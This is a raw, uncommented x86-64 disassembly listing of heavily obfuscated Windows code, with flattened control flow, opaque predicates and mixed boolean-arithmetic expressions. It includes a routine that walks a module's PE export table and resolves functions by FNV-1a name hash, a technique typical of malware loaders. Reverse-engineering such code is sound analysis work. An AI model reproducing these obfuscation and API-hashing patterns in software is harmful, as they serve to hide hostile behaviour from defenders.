mov r14d, r10d
and r14d, 0x4e3f9ca4
mov esi, r12d
and esi, 0xb1c0635b
xor esi, r14d
mov edi, r12d
xor r12d, r10d
xor eax, 0xff76d7fd
or eax, r10d
and r10d, 0xb1c0635b
or r10d, 0xc081c80
xor esi, r10d
and edi, 0x4e3f9ca4
or edi, 0xb040624a
xor edi, esi
xor edi, 0x43b78135
and eax, r12d
or eax, edi
mov r12d, eax
not r12d
mov esi, eax
and esi, 0x4de1c672
mov r10d, eax
or r10d, 0x4de1c672
mov r14d, r10d
and r14d, 0x26011ca7
and r12d, 0x901e2108
or r12d, r14d
mov edi, eax
xor edi, 0x4010422
and edi, esi
not esi
xor edi, r12d
mov r14d, eax
and r14d, 0x420
xor r10d, esi
and esi, 0x26010887
add esi, r14d
add esi, 0xd1f0c210
xor esi, edi
mov edi, ebx
mov r14d, ebx
xor r9d, ebx
xor ebx, 0x8d80cfea
and ebx, r13d
xor edx, 0x4de1c672
xor esi, 0xd1f0d630
xor eax, 0x4de1c672
or eax, r10d
not eax
or eax, esi
mov esi, edx
and esi, 0xb7fb9257
or esi, 0x42d28
and edx, 0x48046da8
xor edx, esi
mov r10d, edx
mov esi, eax
and esi, 0xb7fb9257
or esi, 0x40004d08
and eax, 0x48046da8
xor eax, esi
mov esi, eax
xor esi, 0xf7fbdf5f
xor edx, 0x48004080
and edx, esi
mov r12d, ecx
not r12d
xor r10d, 0xb7ffbf7f
xor eax, 0x80420a0
and eax, r10d
mov r10d, r15d
xor r10d, 0xb2a695c4
or eax, edx
and edi, 0xa631f20f
xor edi, 0x8400c20a
xor r14d, 0x2bb13de5
and r8d, 0x59ce0df0
or r8d, 0x86009003
and r13d, 0xa631f20f
xor r13d, r8d
and edi, r11d
or edi, r14d
mov edx, r13d
xor r13d, 0xdfce9df3
and r13d, edi
not edi
xor edx, edi
xor edx, 0xdfce9df3
and edx, edi
or r13d, edx
mov edx, r9d
xor edx, 0x8d80cfea
or ebx, edx
mov r14d, r9d
xor r14d, 0x727f3015
xor r9d, ebx
xor r9d, 0x727f3015
or r14d, ebx
not r14d
or r14d, r9d
mov edx, r14d
and edx, 0xcde4750
or edx, 0x21209829
and r14d, 0xf321b8af
xor r14d, edx
mov edx, r14d
xor edx, 0xdedf67d6
and edx, r13d
xor r14d, r13d
xor r14d, 0xdedf67d6
or r14d, edx
mov edx, r14d
and edx, 0xa94c8ce7
lea ebx, [rdx + 0x42217110]
xor edx, 0xa94c8ce7
mov edi, ebx
and edi, 0x4804a0a0
mov esi, r14d
xor esi, 0x81480c46
and esi, edx
and edx, 0x20000001
or edx, edi
mov edi, edx
and edi, 0x600080a1
and ebx, 0x8042000
add ebx, edi
add ebx, 0x5021e54
xor ebx, esi
xor ebx, 0x33805e5d
xor edx, 0x20000001
and edx, esi
or edx, ebx
and r14d, 0x56b37318
xor r14d, edx
mov edx, r14d
xor edx, 0x283593b1
mov ebx, r14d
xor ebx, 0xd7ca6c4e
and ebx, edx
xor r14d, ebx
xor r14d, 0xd7ca6c4e
or r14d, ebx
mov edx, r14d
and edx, 0xab469b10
or edx, 0x50b0608d
and r14d, 0x54b964ef
xor r14d, edx
mov edx, r14d
xor edx, 0xaf4f9f72
mov ebx, eax
not ebx
and ebx, edx
xor r14d, 0x50b0608d
and r14d, eax
or ebx, r14d
and r14d, edx
and edx, eax
xor ebx, edx
xor r14d, ebx
mov eax, ecx
and eax, 0x4093dba5
or eax, 0x3e64205a
mov edx, ecx
and edx, 0xbf6c245a
xor edx, eax
mov r8d, edx
xor r8d, 0xc19bdfa5
mov ebx, r15d
xor ebx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r10d
and edx, ebx
and r8d, r10d
or r8d, edx
xor r8d, edi
mov r9d, r8d
not r9d
mov edx, ecx
and edx, 0xd240d802
or edx, 0x2049
or r12d, 0xde6c8a14
and r12d, 0xff7c8ab4
xor r12d, edx
mov edx, r12d
xor edx, 0xca20210
and ecx, 0xcaf275d
lea ebx, [rcx - 0x2dbf27fe]
xor r12d, 0xd754f
and r12d, ebx
xor ecx, 0x2d3107b0
and ecx, edx
or ecx, r12d
mov r12d, r15d
xor r12d, 0x41f64d66
mov edx, r12d
and edx, 0x84a6247d
mov edi, ecx
and edi, 0x84afa47d
or edi, 0x29001a80
and ecx, 0x7b505b82
and r15d, 0x98000
add edx, r15d
add edx, 0x19105080
and r12d, 0x7b505b82
xor r12d, edx
xor r12d, ecx
xor r12d, edi
mov r15d, r12d
xor r15d, 0xcfefb5ff
mov r11d, r15d
and r11d, 0x260dd63e
mov esi, r12d
and esi, 0xd9f229c1
mov r10d, r9d
mov edx, r9d
mov ecx, r15d
or r15d, r9d
and r9d, 0x20cc21a
or r9d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and edx, 0x493228c1
or edx, 0x8080440c
xor edx, r10d
mov eax, r8d
or eax, 0xdbfeebdb
xor eax, r9d
xor eax, edx
xor eax, 0xa6beb606
mov edx, r8d
xor edx, 0xd9f229c1
xor r8d, 0x260dd63e
or r8d, edx
not r8d
or r8d, eax
mov eax, r11d
not eax
mov edx, esi
xor edx, 0xefeff7ff
mov ebx, r12d
xor ebx, 0x200c436
and ebx, r11d
mov edi, esi
xor edi, 0xcd3d5188
and edi, edx
or esi, 0xdd2d5988
and ecx, 0x91008
xor r11d, edx
xor edx, eax
and eax, 0xc5044100
add eax, ecx
add eax, 0x2082a441
xor eax, ebx
mov ecx, esi
and ecx, 0x451651c1
and r12d, 0xc02000
or r12d, ecx
xor esi, 0xdd3d5988
and esi, edi
and edi, 0xd9fb29c9
xor edi, r12d
xor edi, 0x41100180
or esi, edi
xor esi, eax
xor esi, 0x38abbcc9
or edx, r11d
not edx
or edx, esi
xor edx, r8d
mov eax, r15d
not eax
and eax, edx
xor r15d, edx
xor r15d, eax
mov edx, r14d
and edx, 0x1f489344
lea r12d, [rdx + 0x60b00cb3]
mov ecx, edx
xor ecx, 0x1f489344
mov ebx, r14d
and ebx, 0xd338e252
or ebx, 0x2c47198d
mov edi, r14d
and edi, 0x2cc71dad
xor edi, ebx
mov ebx, edi
xor ebx, 0x330f8ac9
mov esi, r14d
not esi
xor edi, 0xccf07536
and edi, esi
mov r11d, ebx
and r11d, r14d
or r11d, edi
and r11d, ebx
mov r8d, r15d
and r8d, 0xe0b76cbb
lea ebx, [r8 + 0x1c000300]
mov eax, r15d
and eax, 0x1f489344
xor eax, ebx
mov dword [rbp + 0x4c4], eax
mov eax, r12d
and eax, 0x12086e0
xor r14d, 0x8480104
and r14d, ecx
and ecx, 0x16001000
or ecx, eax
xor ecx, 0x96027819
or r14d, ecx
mov eax, r14d
xor eax, 0x8540002
and eax, 0x8d56825a
mov ecx, r14d
and ecx, 0x12287da5
or ecx, eax
xor ecx, 0xb557ca28
mov r10d, r14d
xor r10d, 0x9722fef9
mov eax, r10d
and eax, 0xa001040
or eax, ecx
and r12d, 0x55d88b24
xor edx, 0x3569a797
or edx, r12d
mov ecx, edx
xor ecx, 0x7f79bff7
and ecx, eax
not eax
mov edi, r11d
and edi, 0x2a2134d3
mov esi, edx
xor esi, 0x7ff8bff7
or edx, 0x80064008
and edx, eax
or ecx, edx
and edx, esi
and esi, eax
xor ecx, esi
or edx, ecx
mov ebx, r11d
and ebx, 0xd5decb2c
mov ecx, ebx
xor ecx, 0x4912a796
mov esi, ecx
or esi, 0x5d4314bb
mov eax, r11d
or eax, 0xaabdffd7
xor eax, esi
mov r12d, r11d
xor r12d, 0x22202040
and r12d, edi
xor ebx, 0xd5decb2c
mov r13d, ebx
or ebx, edi
not edi
mov esi, r11d
and esi, 0x20200000
mov r9d, edi
and r9d, 0x2006240
add esi, r9d
add esi, 0x4c400028
xor esi, r12d
mov r9d, esi
xor r9d, 0xecfc892c
mov r12d, eax
xor eax, 0x2a3197d7
and eax, r9d
xor r12d, 0x6000
xor esi, 0x130376d3
and esi, r12d
or esi, eax
mov r12d, dword [rbp + 0x4c4]
xor r12d, 0xfcb76fbb
and r12d, r15d
xor r8d, 0xe0b76cbb
and r13d, 0x504a8308
and ecx, 0x859448b4
or ecx, r13d
mov eax, r11d
and eax, 0xa203442
and edi, 0xa59548b5
or edi, eax
xor edi, ecx
xor edi, 0xdeeefffa
and edi, ebx
or edi, esi
mov eax, edx
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor edx, 0xb9da3986
and edx, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r14d
xor eax, 0x130881e4
and eax, r10d
mov ecx, r14d
or ecx, 0xdbd780fa
mov ebx, ecx
and ebx, 0xc51ea4c
and r14d, 0x281501
or r14d, ebx
xor r14d, eax
xor r14d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r14d
mov eax, r11d
and eax, 0xdbd780fa
or r10d, r11d
and r11d, 0x24287f05
or r11d, 0x43d68078
xor r11d, eax
xor r11d, ecx
xor r11d, 0x98010082
and r11d, r10d
or r11d, edi
or r11d, edx
mov eax, r15d
and eax, 0x3089a
mov ecx, r8d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r15d, 0xe0342421
and r15d, r8d
or r15d, ecx
mov edx, r15d
xor edx, 0xef7cb561
mov ecx, r15d
and ecx, 0x30240e
mov eax, edx
and eax, 0xf1cfcab1
or eax, ecx
mov ebx, eax
xor ebx, 0xe303540
mov ecx, ebx
and ecx, 0x74b34cb1
and eax, 0x814ca20e
or eax, ecx
or ebx, 0xa45bbedf
mov esi, eax
xor esi, 0x51a47060
and esi, ebx
mov ebx, r12d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r9d, r12d
and r9d, 0x5ba44120
xor r9d, ebx
mov edi, esi
not edi
and eax, 0x18000
mov r10d, esi
and r10d, 0x10c048b0
mov ebx, edi
and ebx, 0xec26020a
mov ecx, esi
and ecx, 0x1182445
or ecx, eax
lea eax, [rbx + r10]
add ebx, r10d
add ebx, 0x2018000
and r8d, 0x40a44020
xor ebx, ecx
mov ecx, r8d
xor ecx, 0xfce65bba
xor eax, 0xec26120a
and eax, ecx
mov ecx, esi
and ecx, 0x718c06f1
and edi, 0x8473e80e
or edi, ecx
or esi, r8d
xor edi, r8d
lea ecx, [r8 + 0x319a445]
xor ebx, 0x281c020
and ecx, ebx
xor edi, 0x718c06f1
and edi, esi
or edi, eax
or edi, ecx
mov eax, r9d
xor eax, 0xbf5fffdf
xor r9d, 0x40a00020
and r9d, edi
not edi
and edi, eax
mov eax, r15d
and r15d, 0xc09208a5
and edx, 0x3a25f71a
or edx, r15d
xor eax, r12d
xor edx, r12d
mov ecx, r12d
not ecx
or edi, r9d
xor eax, 0xef7cb561
and eax, ecx
xor edx, 0x3aa7ff9e
or edx, eax
mov eax, edx
and eax, 0xd49ab90b
mov ecx, edx
and ecx, 0x2b6546f4
or ecx, 0x4412a808
xor ecx, eax
mov eax, ecx
xor eax, 0x6f77eefc
mov ebx, edi
xor ebx, 0x2b6546f4
and ebx, eax
not edx
and edx, edi
xor edi, 0xd49ab90b
xor ecx, 0x90881103
and ecx, edi
or edx, ecx
or edx, ebx
xor edx, r11d
imul eax, edx, 0x1000193
mov dword [rbp + 0x484], eax
mov eax, dword [rbp + 0x450]
mov r10, qword [rbp + 0x3e0]
mov r8d, dword [rbp + 0x3e8]
mov esi, dword [rbp + 0x488]
mov edi, dword [rbp + 0x490]
mov r9d, dword [rbp + 0x410]
jmp 0x140094c70
cmp eax, 0x581f37ef
jle 0x140096960
cmp eax, 0x581f37f0
je 0x1400969d7
cmp eax, 0x5c59f878
je 0x1400969f0
cmp eax, 0x7694ece2
jne 0x140094c70
test byte [rbp + 0x400], 1
movsx eax, byte [rbp + 0x4e7]
mov ecx, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ee]
mov ecx, 0x462bec05
jmp 0x140096833
cmp ecx, 0x22c0f4b1
jne 0x140096919
mov ecx, dword [rbp + 0x4e8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x140096880
cmp ecx, 0x58a11e18
jg 0x1400968a0
cmp ecx, 0x3117fdc4
je 0x1400968be
cmp ecx, 0x462bec05
jne 0x140096833
movzx edx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x140096872
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x140096833
cmp ecx, 0x1f53ad1a
jg 0x14009681c
cmp ecx, 0x8353906e
je 0x1400968df
cmp ecx, 0xb9e70da7
je 0x140096828
jmp 0x140096833
cmp ecx, 0x58a11e19
je 0x1400968fb
cmp ecx, 0x71946ac1
jne 0x140096833
mov ecx, 0x3117fdc4
jmp 0x140096833
mov dword [rbp + 0x4e8], eax
mov ecx, dword [rbp + 0x4e8]
cmp ecx, 0x41
setge byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x4c0]
jmp 0x140096833
cmp byte [rbp + 0x4ef], 0
mov ecx, 0x58a11e19
jne 0x140096833
mov ecx, 0x22c0f4b1
jmp 0x140096833
mov edx, dword [rbp + 0x4e8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x140096833
mov ecx, 0x22c0f4b1
jmp 0x140096833
cmp ecx, 0x1f53ad1b
jne 0x140096833
mov eax, 0x9fdcb46a
jmp 0x140094c70
cmp eax, 0xbd0b03e6
je 0x140096a20
cmp eax, 0xe59fd857
jne 0x140096a45
mov r8d, dword [rbp + 0x484]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4a8]
jmp 0x140094c70
cmp eax, 0x17954bb8
je 0x140094c55
cmp eax, 0x2f530768
jne 0x140094c70
mov eax, dword [rbp + 0x454]
jmp 0x140094c70
mov r8d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x4d0]
jmp 0x140094c70
mov rax, qword [rbp + 0x4d8]
add rax, 1
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x4d8]
mov al, byte [rax]
mov byte [rbp + 0x4e7], al
cmp byte [rbp + 0x4e7], 0
setne byte [rbp + 0x4d7]
mov eax, dword [rbp + 0x448]
jmp 0x140094c70
cmp byte [rbp + 0x4d7], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140094c70
mov dword [rbp + 0x4a4], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x498]
mov ecx, dword [rbp + 0x4a4]
mov dword [rbp + 0x48c], ecx
mov r9d, r8d
jmp 0x140094c70
mov eax, dword [rbp + 0x48c]
mov dword [rbp + 0x4a8], eax
mov dword [rbp + 0x4d0], r9d
mov qword [rbp + 0x4d8], r10
mov eax, dword [rbp + 0x44c]
jmp 0x140094c70
cmp eax, 0xc6b502bf
jne 0x140094c70
mov eax, dword [rbp + 0x4a4]
cmp eax, 0x3915b706
mov eax, 0x67ce0cc2
mov ecx, 0x34c97f99
cmove eax, ecx
jmp 0x140094aa0
cmp eax, 0x9b6ef62e
jle 0x140096b10
cmp eax, 0xa4df38c1
jle 0x140096bb5
cmp eax, 0xa4df38c2
je 0x140096cbe
cmp eax, 0xb8791e98
je 0x140096c66
cmp eax, 0xd4c10340
jne 0x140094aa0
mov rax, qword [rbp + 0x458]
mov eax, 0x80055193
mov rcx, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rcx
jmp 0x140094aa0
cmp eax, 0x6ffe1115
jle 0x140096c03
cmp eax, 0x7d77dcca
je 0x140096c66
cmp eax, 0x7519a91b
je 0x140096cc8
cmp eax, 0x6ffe1116
jne 0x140094aa0
mov eax, dword [rbp + 0x464]
jmp 0x140094aa0
cmp eax, 0x84c237ee
jg 0x140096c32
cmp eax, 0x8232d9cb
je 0x140096cd8
cmp eax, 0x825579c1
jne 0x140096f8b
mov eax, dword [rbp + 0x418]
mov dword [rbp + 0x4bc], eax
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x4bc]
cmp ecx, dword [rax + 0x18]
mov eax, 0x3f1498e5
mov ecx, 0x84c237ef
cmove eax, ecx
jmp 0x140094aa0
cmp eax, 0xf28a6f13
je 0x140096cff
cmp eax, 0x25b8ba4e
jne 0x140094aa0
mov eax, dword [rbp + 0x4ac]
cmp eax, 2
sete byte [rbp + 0x4bb]
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8232d9cb
mov ecx, 0x7519a91b
cmovne eax, ecx
cmp dword [0x1400f2774], 0xa
mov ecx, 0x8232d9cb
cmovl eax, ecx
jmp 0x140094aa0
cmp eax, 0x9b6ef62f
je 0x140096dfb
cmp eax, 0xa395c87a
jne 0x140094aa0
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x420], rax
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7519a91b
mov ecx, 0x25b8ba4e
jmp 0x140094a92
cmp eax, 0x63a2322b
je 0x140096e0e
cmp eax, 0x67ce0cc2
jne 0x140094aa0
mov eax, dword [rbp + 0x4bc]
add eax, 1
mov dword [rbp + 0x418], eax
mov eax, 0x825579c1
jmp 0x140094aa0
cmp eax, 0x84c237ef
je 0x140096e22
cmp eax, 0x91fe3c8f
jne 0x140094aa0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x63a2322b
jmp 0x140094a92
mov eax, 0xd4c10340
xor ecx, ecx
mov qword [rbp + 0x408], rcx
jmp 0x140094aa0
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 1
jmp 0x140094aa0
mov eax, 0x91fe3c8f
jmp 0x140094aa0
mov eax, dword [rbp + 0x4ac]
mov eax, 0x25b8ba4e
jmp 0x140094aa0
cmp byte [rbp + 0x4bb], 0
mov eax, 0xd4c10340
mov ecx, 0xb8791e98
cmovne eax, ecx
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x408], rcx
jmp 0x140094aa0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x468], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4e8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x498]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1be0c2ca
jg 0x140096db0
cmp edx, 0xd6cac8db
je 0x140096de2
cmp edx, 0xf5647b0b
jne 0x140096d90
jmp 0x140096e36
cmp edx, 0x1be0c2cb
je 0x140096df4
cmp edx, 0x45f0e8c0
jne 0x140096d90
movzx eax, byte [rbp + 0x4e8]
cmp byte [rbp + 0x498], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x140096d90
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x140096d90
mov edx, 0xd6cac8db
jmp 0x140096d90
mov eax, 0x80055193
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x140094aa0
mov eax, 0x825579c1
mov dword [rbp + 0x418], 0
jmp 0x140094aa0
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 2
jmp 0x140094aa0
mov qword [rbp + 0x4d8], rcx
mov rcx, qword [rbp + 0x4d8]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4e8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x498]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp + 0x470], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp + 0x478], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
cmp ecx, 0xfb599b2d
jg 0x140096f20
cmp ecx, 0x97bfe48f
je 0x140096f37
cmp ecx, 0xbfa4195b
jne 0x140096f00
jmp 0x140096f68
cmp ecx, 0xfb599b2e
je 0x140096f64
cmp ecx, 0x80d5946
jne 0x140096f00
mov ecx, 0xfb599b2e
jmp 0x140096f00
movzx eax, byte [rbp + 0x4e8]
movzx ecx, byte [rbp + 0x498]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140096f00
mov ecx, ebx
jmp 0x140096f00
test r8d, r8d
setne byte [rbp + 0x4d8]
cmp byte [rbp + 0x4d8], 0
mov eax, 0x7d77dcca
mov ecx, 0x62d8a4f8
cmovne eax, ecx
jmp 0x140094aa0
cmp eax, 0x80055193
jne 0x140094aa0
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x2a1793f1
jmp 0x140094a00
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0x93e3b353
jmp 0x1400949e7
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0xf088f4e1
cmove eax, ecx
cmp dword [0x1400f276c], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
cmp eax, 0xf088f4e0
jg 0x140097050
cmp eax, 0x93e3b353
je 0x140099659
cmp eax, 0xa888c428
je 0x14009707b
cmp eax, 0xe4ecd053
jne 0x140097010
cmp qword [rbp + 0x4b0], 0
mov eax, 0x2a1793f1
mov ecx, 0xa888c428
cmove eax, ecx
jmp 0x140097010
cmp eax, 0xf088f4e1
je 0x1400995f1
cmp eax, 0x2a1793f1
je 0x140096fe0
cmp eax, 0x7e448d7d
jne 0x140097010
mov rax, qword [rbp + 0x4c8]
mov eax, 0xf088f4e1
jmp 0x140097010
mov eax, 0x6ffe1116
jmp 0x1400970b0
cmp eax, 0x62d8a4f8
jne 0x1400970b0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x91fe3c8f
cmove eax, ecx
cmp dword [0x1400f2774], 0xa
cmovl eax, ecx
nop
cmp eax, 0xf28a6f12
jle 0x1400990b0
cmp eax, 0x63a2322a
jg 0x140099110
cmp eax, 0x34c97f98
jle 0x14009919f
cmp eax, 0x34c97f99
je 0x1400992b9
cmp eax, 0x3f1498e5
jne 0x140097082
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov edi, 0x9b012d00
cmovne ebx, edi
test edx, edx
mov esi, 0x9b012d00
cmove esi, ebx
cmp eax, 0xa
cmovl esi, edi
test cl, cl
cmove esi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, esi
cmove ebx, edi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov r15d, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x410], edx
cmovge ebx, esi
mov dword [rbp + 0x4c4], ebx
lea r12d, [rax - 1]
imul r12d, eax
mov r14d, r12d
and r14d, 1
sete r10b
cmp r15d, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and r14b, r11b
or r14b, dl
xor r14b, bl
mov edx, r14d
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test r14b, r14b
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
mov dword [rbp + 0x448], r15d
mov dword [rbp + 0x44c], r12d
jmp 0x140097290
mov rax, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
mov eax, 0x9b012d00
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x17954bb7
jg 0x140098e00
cmp eax, 0xbd0b03e5
jg 0x140098f70
cmp eax, 0x87ce9d3c
je 0x140098fc1
cmp eax, 0x9b012d00
je 0x140098fdd
cmp eax, 0x9fdcb46a
jne 0x140097290
mov dword [rbp + 0x48c], r9d
mov dword [rbp + 0x488], edi
mov dword [rbp + 0x3e0], esi
mov dword [rbp + 0x400], r8d
mov qword [rbp + 0x438], r10
test r12b, 1
movsx r9d, byte [rbp + 0x4e7]
mov r11d, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp r15d, 0xa
setl byte [rbp + 0x4ee]
mov eax, 0x462bec05
jmp 0x140097330
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word cs:[rax + rax]
cmp eax, 0x3117fdc3
jle 0x140097380
cmp eax, 0x58a11e18
jg 0x140097d60
cmp eax, 0x3117fdc4
je 0x140097d98
cmp eax, 0x462bec05
jne 0x140097330
movzx ecx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140097330
cmp eax, 0x1f53ad1a
jg 0x140097d80
cmp eax, 0x8353906e
je 0x140097dba
cmp eax, 0xb9e70da7
jne 0x140097330
mov r14d, dword [rbp + 0x4e8]
mov eax, r14d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r14d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov edx, ecx
and edx, 0xe1770bb
mov r12d, ecx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, edx
xor r12d, 0x81550b9
or r12d, ecx
mov ecx, r14d
and ecx, 0x6098fcd3
or ecx, 0xf210028
mov eax, r14d
and eax, 0x9f67032c
xor eax, ecx
mov ebx, eax
xor ebx, 0x1367093
mov edx, eax
or edx, 0xf1e88f44
xor edx, 0xffe98f6c
or edx, ebx
mov ebx, eax
xor ebx, 0xfec98f6c
or ebx, edx
xor edx, eax
xor edx, 0x1367093
and edx, ebx
mov eax, r12d
and eax, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, eax
mov eax, edx
mov ecx, edx
not r12d
and r12d, edx
xor edx, 0x11e7e0d2
xor eax, 0xb4b1d84f
and eax, edx
or ecx, 0x5aa9c762
xor ecx, 0xfeb9df6f
or ecx, eax
mov eax, ebx
xor eax, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, ecx
